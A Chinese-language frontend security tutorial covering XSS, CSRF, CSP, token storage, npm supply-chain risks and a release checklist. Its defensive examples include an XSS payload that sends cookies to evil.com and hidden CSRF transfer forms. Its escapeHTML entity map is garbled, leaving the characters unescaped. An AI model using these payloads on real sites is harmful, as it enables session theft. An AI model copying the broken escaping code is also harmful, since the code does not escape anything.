前端安全指南 2026:XSS、CSRF、CSP 与 OWASP Top 10 防护实战
前端安全指南 2026:XSS、CSRF、CSP 与 OWASP Top 10 防护实战
预计阅读时间:30 分钟 | 适合人群:所有前端开发者
根据 Verizon 2025 数据泄露报告:
- 43% 的数据泄露源于 Web 应用攻击
- XSS 攻击占所有 Web 攻击的 65%
- 平均每次数据泄露成本高达 445 万美元
前端安全不再是"后端的事"。作为前端开发者,我们是用户数据的第一道防线。
这篇文章,我们系统讲解前端常见安全威胁和防护方案,帮你构建安全的前端应用。
一、OWASP Top 10 2025 前端相关风险
OWASP(开放 Web 应用安全项目)每 3-4 年更新一次 Top 10 风险列表。2025 年前端需要重点关注的风险:
| 排名 | 风险 | 前端关联度 |
|---|---|---|
| 1 | 失效的访问控制 | ⭐⭐⭐ |
| 2 | 加密机制失效 | ⭐⭐ |
| 3 | 注入攻击(XSS/SQL) | ⭐⭐⭐⭐⭐ |
| 4 | 不安全的设计 | ⭐⭐⭐ |
| 5 | 安全配置错误 | ⭐⭐⭐⭐ |
| 6 | 易受攻击的组件 | ⭐⭐⭐⭐ |
| 7 | 身份认证失效 | ⭐⭐⭐ |
| 8 | 软件/数据完整性失败 | ⭐⭐ |
| 9 | 安全日志/监控失败 | ⭐⭐ |
| 10 | SSRF | ⭐⭐ |
前端重点防护:XSS、CSRF、CSP、依赖安全、身份认证。
二、XSS(跨站脚本攻击)防护
2.1 什么是 XSS?
XSS(Cross-Site Scripting)是指攻击者向网页注入恶意脚本,当其他用户访问时执行。
攻击原理:
用户输入 → 未过滤 → 存储到数据库 → 其他用户访问 → 恶意脚本执行
危害:
- 窃取用户 Cookie/Session
- 劫持用户账户
- 钓鱼攻击
- 传播恶意软件
2.2 XSS 三种类型
类型 1:存储型 XSS(最危险)
恶意脚本永久存储在服务器(数据库、评论区、用户资料)。
// ❌ 危险:直接渲染用户输入
<div dangerouslySetInnerHTML={{ __html: userComment }} />
// 攻击示例
用户输入:<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
防护方案:
// ✅ 方案 1:使用文本节点,不解析 HTML
<div>{userComment}</div>
// ✅ 方案 2:HTML 实体编码
function escapeHTML(str) {
return str.replace(/[&<>'"]/g,
tag => ({
'&': '&',
'<': '<',
'>': '>',
"'": ''',
'"': '"'
}[tag]));
}
// ✅ 方案 3:使用 DOMPurify 过滤(需要渲染 HTML 时)
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);
<div dangerouslySetInnerHTML={{ __html: clean }} />
类型 2:反射型 XSS
恶意脚本通过 URL 参数传递,立即在页面中反射执行。
// ❌ 危险:直接使用 URL 参数
const searchQuery = new URLSearchParams(location.search).get('q');
<div>搜索结果:{searchQuery}</div>
// 攻击链接
https://example.com/search?q=<script>stealCookie()</script>
防护方案:
// ✅ 方案 1:始终编码输出
function encodeHTML(str) {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
const searchQuery = encodeHTML(new URLSearchParams(location.search).get('q'));
// ✅ 方案 2:使用框架的自动转义
// React/Vue 默认转义插值表达式
<p>{searchQuery}</p> // ✅ 安全
// ✅ 方案 3:CSP 限制脚本执行
<meta http-equiv="Content-Security-Policy"
content="script-src 'self'">
类型 3:DOM 型 XSS
恶意脚本通过修改 DOM 执行,不经过服务器。
// ❌ 危险:innerHTML + 用户可控数据
const userInput = location.hash.slice(1);
document.getElementById('content').innerHTML = userInput;
// 攻击链接
https://example.com/#<script>evil()</script>
防护方案:
// ✅ 方案 1:使用 textContent
document.getElementById('content').textContent = userInput;
// ✅ 方案 2:使用安全的 DOM API
const div = document.createElement('div');
div.textContent = userInput;
container.appendChild(div);
// ✅ 方案 3:避免使用危险 API
// 危险 API 列表:
// - innerHTML
// - outerHTML
// - document.write()
// - eval()
// - setTimeout(string)
// - setInterval(string)
// - Function() 构造函数
2.3 前端 XSS 防护清单
// 1. 永远不要信任用户输入
// 所有输入都必须验证和转义
// 2. 使用框架的安全特性
// React: 默认转义,避免 dangerouslySetInnerHTML
// Vue: 使用 {{ }} 而非 v-html
// Angular: 自动转义,避免 bypassSecurityTrust
// 3. 设置 HTTP Only Cookie
// 后端设置:Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Strict
// 4. 启用 CSP(内容安全策略)
// 见下一节
// 5. 使用安全库
// DOMPurify: HTML sanitization
// js-xss: 服务端过滤
// helmet: Express 安全中间件
// 6. 定期扫描依赖
npm audit
npm audit fix
三、CSRF(跨站请求伪造)防护
3.1 什么是 CSRF?
CSRF(Cross-Site Request Forgery)是指攻击者诱导用户在已登录状态下执行非预期操作。
攻击原理:
用户登录银行网站 → Cookie 保存在浏览器 → 访问恶意网站 →
恶意网站发起转账请求 → 浏览器自动携带 Cookie → 转账成功
3.2 CSRF 攻击示例
<!-- 攻击者网站 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000"
style="display:none">
<!-- 或者使用自动提交的表单 -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>
3.3 CSRF 防护方案
方案 1:CSRF Token(最可靠)
// 后端生成随机 Token
// 存储在 Session 或 Cookie 中
// 前端携带 Token
// 方式 1:表单隐藏字段
<form method="POST">
<input type="hidden" name="csrf_token" value="abc123...">
</form>
// 方式 2:请求头
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': 'abc123...',
'Content-Type': 'application/json'
},
body: JSON.stringify({ to: 'xxx', amount: 100 })
});
// 方式 3:Cookie(Double Submit Cookie)
// 设置 Cookie: csrf_token=abc123; SameSite=Lax
// 请求头:X-CSRF-Token: abc123
// 后端验证两者一致
方案 2:SameSite Cookie
// 后端设置 Cookie
Set-Cookie: session=abc123; SameSite=Strict; Secure
// SameSite 三个值:
// - Strict: 完全禁止跨站发送 Cookie(最安全,但影响用户体验)
// - Lax: 允许 GET 请求跨站(推荐,平衡安全和体验)
// - None: 允许跨站(必须配合 Secure)
方案 3:验证 Referer/Origin
// 后端验证请求来源
const origin = req.headers.origin;
const referer = req.headers.referer;
if (origin !== 'https://yourdomain.com') {
return res.status(403).send('CSRF detected');
}
// ⚠️ 注意:Referer 可能被伪造或省略,只能作为辅助验证
3.4 前端 CSRF 防护实践
// React 示例:自动添加 CSRF Token
import axios from 'axios';
// 从 Cookie 读取 Token
function getCSRFToken() {
const match = document.cookie.match(/csrf_token=([^;]+)/);
return match ? match[1] : null;
}
// Axios 拦截器自动添加 Token
axios.interceptors.request.use(config => {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(config.method.toUpperCase())) {
const token = getCSRFToken();
if (token) {
config.headers['X-CSRF-Token'] = token;
}
}
return config;
});
// 使用
axios.post('/api/transfer', { to: 'xxx', amount: 100 });
四、CSP(内容安全策略)实战
4.1 什么是 CSP?
CSP(Content Security Policy)通过白名单机制,限制页面可以加载的资源,有效防止 XSS。
4.2 CSP 配置示例
<!-- 方式 1:Meta 标签 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';">
<!-- 方式 2:HTTP 响应头(推荐) -->
Content-Security-Policy: default-src 'self'; script-src 'self' ...
4.3 CSP 指令详解
| 指令 | 作用 | 示例 |
|---|---|---|
default-src |
默认策略 | default-src 'self' |
script-src |
脚本来源 | script-src 'self' 'nonce-abc123' |
style-src |
样式来源 | style-src 'self' 'unsafe-inline' |
img-src |
图片来源 | img-src 'self' data: https: |
font-src |
字体来源 | font-src 'self' https://fonts.gstatic.com |
connect-src |
AJAX/WebSocket | connect-src 'self' https://api.example.com |
frame-ancestors |
允许嵌入的父页面 | frame-ancestors 'none' |
base-uri |
限制 base 标签 | base-uri 'self' |
form-action |
限制表单提交地址 | form-action 'self' |
4.4 安全值 vs 危险值
// ✅ 安全配置
script-src 'self' // 只允许本站脚本
script-src 'self' 'nonce-随机值' // 带 nonce 的内联脚本
script-src 'self' https://cdn.com // 指定可信 CDN
// ⚠️ 危险配置(避免使用)
script-src 'unsafe-inline' // 允许所有内联脚本(XSS 风险)
script-src 'unsafe-eval' // 允许 eval()(XSS 风险)
script-src * // 允许任何来源
script-src 'none' // 禁止所有脚本(可能破坏功能)
4.5 渐进式 CSP 部署
// 步骤 1:先使用 Report-Only 模式测试
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
// 步骤 2:监控违规报告
// 后端接收报告
app.post('/csp-report', (req, res) => {
console.log('CSP Violation:', req.body);
// 记录日志、发送告警
});
// 步骤 3:修复违规后启用正式 CSP
Content-Security-Policy: default-src 'self'
// 步骤 4:持续监控和优化
五、身份认证与会话安全
5.1 Token 存储方案对比
| 存储方式 | 安全性 | 便利性 | 推荐场景 |
|---|---|---|---|
| LocalStorage | ⭐⭐ | ⭐⭐⭐⭐⭐ | 非敏感应用 |
| SessionStorage | ⭐⭐⭐ | ⭐⭐⭐⭐ | 临时会话 |
| HttpOnly Cookie | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | 高安全应用 |
| 内存变量 | ⭐⭐⭐⭐ | ⭐⭐ | SPA 应用 |
5.2 推荐方案:HttpOnly Cookie + CSRF Token
// 后端设置
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600
// 前端无需处理 Token,浏览器自动携带
// 配合 CSRF Token 防止跨站请求
5.3 JWT 安全实践
// ❌ 危险:Token 永不过期
const token = jwt.sign({ userId }, 'secret'); // 无过期时间
// ✅ 正确:设置过期时间
const token = jwt.sign(
{ userId },
'secret',
{ expiresIn: '1h' } // 1 小时过期
);
// ✅ 更好:Refresh Token 机制
// Access Token: 15 分钟过期
// Refresh Token: 7 天过期,存储在 HttpOnly Cookie
// 前端逻辑
async function refreshToken() {
const res = await fetch('/api/refresh', {
method: 'POST',
credentials: 'include' // 携带 Cookie
});
const { accessToken } = await res.json();
localStorage.setItem('access_token', accessToken);
}
5.4 前端认证中间件
// Axios 拦截器:自动添加 Token、处理过期
axios.interceptors.request.use(config => {
const token = localStorage.getItem('access_token');
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
});
axios.interceptors.response.use(
response => response,
async error => {
if (error.response?.status === 401) {
// Token 过期,尝试刷新
try {
await refreshToken();
// 重试原请求
return axios.request(error.config);
} catch {
// 刷新失败,跳转登录
window.location.href = '/login';
}
}
return Promise.reject(error);
}
);
六、依赖安全与供应链攻击
6.1 npm 依赖风险
根据 Snyk 2025 报告:
- 46% 的 npm 包存在已知漏洞
- 平均每个项目有 14 个漏洞依赖
- 供应链攻击增长 300%
6.2 依赖安全实践
# 1. 定期审计
npm audit
npm audit fix
# 2. 使用锁文件
package-lock.json # 锁定确切版本
yarn.lock
pnpm-lock.yaml
# 3. 限制安装来源
.npmrc:
registry=https://registry.npmmirror.com
strict-ssl=true
# 4. 使用可信的包
# - 检查下载量、Star 数、维护频率
# - 避免安装来路不明的包
# - 优先选择官方/知名库
# 5. 自动化扫描
# GitHub: Dependabot
# GitLab: Dependency Scanning
# Snyk: 商业方案
6.3 package.json 安全配置
{
"scripts": {
"preinstall": "npx only-allow pnpm",
"postinstall": "npx npm-audit-ci-wrapper",
"security:check": "npm audit --audit-level=high"
},
"overrides": {
"lodash": "4.17.21",
"axios": "1.6.0"
}
}
6.4 防范 typosquatting 攻击
# 攻击者注册相似包名诱导安装
# 例如:react-dom vs reactdmo、lodash vs _lodash
# 防护方案
# 1. 仔细检查包名(代码审查)
# 2. 使用包签名验证
# 3. 私有仓库限制外部包
# 检测工具
npm install -g npm-audit
npm audit
七、安全开发最佳实践
7.1 输入验证
// ❌ 危险:无验证
function createUser(email, name) {
db.insert({ email, name });
}
// ✅ 正确:白名单验证
const emailSchema = z.string().email();
const nameSchema = z.string().min(1).max(50);
function createUser(email, name) {
const validEmail = emailSchema.parse(email);
const validName = nameSchema.parse(name);
db.insert({ email: validEmail, name: validName });
}
// 使用验证库
// - Zod: TypeScript 优先
// - Joi: 功能丰富
// - Yup: React 友好
// - class-validator: NestJS 生态
7.2 输出编码
// HTML 编码
function escapeHTML(str) {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
// URL 编码
const encoded = encodeURIComponent(userInput);
// JSON 编码
const json = JSON.stringify(userInput); // 自动转义
7.3 错误处理
// ❌ 危险:暴露敏感信息
try {
// ...
} catch (error) {
console.error(error); // 可能泄露堆栈、路径
res.send(`Error: ${error.message}`); // 暴露内部逻辑
}
// ✅ 正确:统一错误处理
try {
// ...
} catch (error) {
// 记录详细日志(服务端)
logger.error('User operation failed', {
userId,
error: error.message,
stack: error.stack
});
// 返回通用错误(客户端)
res.status(500).json({
error: '操作失败,请稍后重试',
code: 'INTERNAL_ERROR'
});
}
7.4 安全 Headers
// Express 中间件
import helmet from 'helmet';
app.use(helmet());
// 或手动设置
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=()');
next();
});
八、安全测试与审计
8.1 自动化扫描工具
| 工具 | 类型 | 用途 |
|---|---|---|
| npm audit | 依赖扫描 | 检测已知漏洞 |
| Snyk | 依赖扫描 | 商业方案,更强大 |
| ESLint security | 代码扫描 | 检测不安全代码模式 |
| SonarQube | 代码质量 | 安全规则检测 |
| OWASP ZAP | 渗透测试 | 自动化安全测试 |
| Burp Suite | 渗透测试 | 手动安全测试 |
8.2 ESLint 安全插件
// .eslintrc.js
module.exports = {
plugins: ['security'],
extends: ['plugin:security/recommended'],
rules: {
'security/detect-object-injection': 'warn', // eval、Function
'security/detect-non-literal-fs-filename': 'error',
'security/detect-unsafe-regex': 'error',
'security/detect-buffer-noassert': 'error',
'security/detect-child-process': 'warn',
'security/detect-disable-mustache-escape': 'error',
'security/detect-eval-with-expression': 'error',
'security/detect-no-csrf-before-method-override': 'error',
'security/detect-non-literal-regexp': 'error',
'security/detect-non-literal-require': 'warn',
'security/detect-possible-timing-attacks': 'warn',
'security/detect-pseudoRandomBytes': 'error',
}
};
8.3 安全检查清单
## 发布前安全检查
### 代码安全
- [ ] 所有用户输入都经过验证
- [ ] 所有输出都经过编码
- [ ] 无硬编码密钥/密码
- [ ] 无 console.log 敏感信息
- [ ] 错误处理不暴露内部信息
### 依赖安全
- [ ] npm audit 无高危漏洞
- [ ] 所有依赖为最新版本
- [ ] 无来路不明的包
### 配置安全
- [ ] 启用 HTTPS
- [ ] 设置安全 Headers
- [ ] 配置 CSP
- [ ] Cookie 设置 HttpOnly + Secure
- [ ] CORS 配置正确
### 认证授权
- [ ] Token 有过期时间
- [ ] 实现 Refresh Token 机制
- [ ] 敏感操作需要二次验证
- [ ] 权限校验完整
### 测试
- [ ] 通过 ESLint security 检查
- [ ] OWASP ZAP 扫描无高危
- [ ] 渗透测试通过
九、应急响应
9.1 发现漏洞后的处理流程
1. **确认漏洞**
- 复现漏洞
- 评估影响范围
- 确定严重等级
2. **临时修复**
- 下线受影响功能
- 部署紧急补丁
- 通知用户修改密码
3. **彻底修复**
- 修复根本原因
- 全面测试
- 灰度发布
4. **事后复盘**
- 编写事故报告
- 更新安全规范
- 加强监控
5. **通知相关方**
- 用户通知(如需)
- 监管报告(如需)
- 公开披露(负责任披露)
9.2 安全事件联系人
// 在网站添加安全联系方式
// security.txt 标准:https://example.com/.well-known/security.txt
Contact: security@example.com
Encryption: https://example.com/pgp-key
Acknowledgments: https://example.com/hall-of-fame
Policy: https://example.com/security-policy
总结
前端安全是一个持续的过程,不是一次性的任务。关键要点:
- XSS 防护:永远不要信任用户输入,始终编码输出
- CSRF 防护:使用 CSRF Token + SameSite Cookie
- CSP:启用内容安全策略,限制资源加载
- 认证安全:使用 HttpOnly Cookie,实现 Token 刷新
- 依赖安全:定期审计,使用锁文件
- 安全测试:自动化扫描 + 人工审计
记住:安全是每个人的责任。作为前端开发者,我们是用户数据的第一道防线。
参考资料:
你的项目有什么安全措施?遇到过什么安全事件?欢迎在评论区分享!
上一篇
没有更多文章了
下一篇
前端性能优化实战指南:从 Core Web Vitals 到极致体验
评论 (0)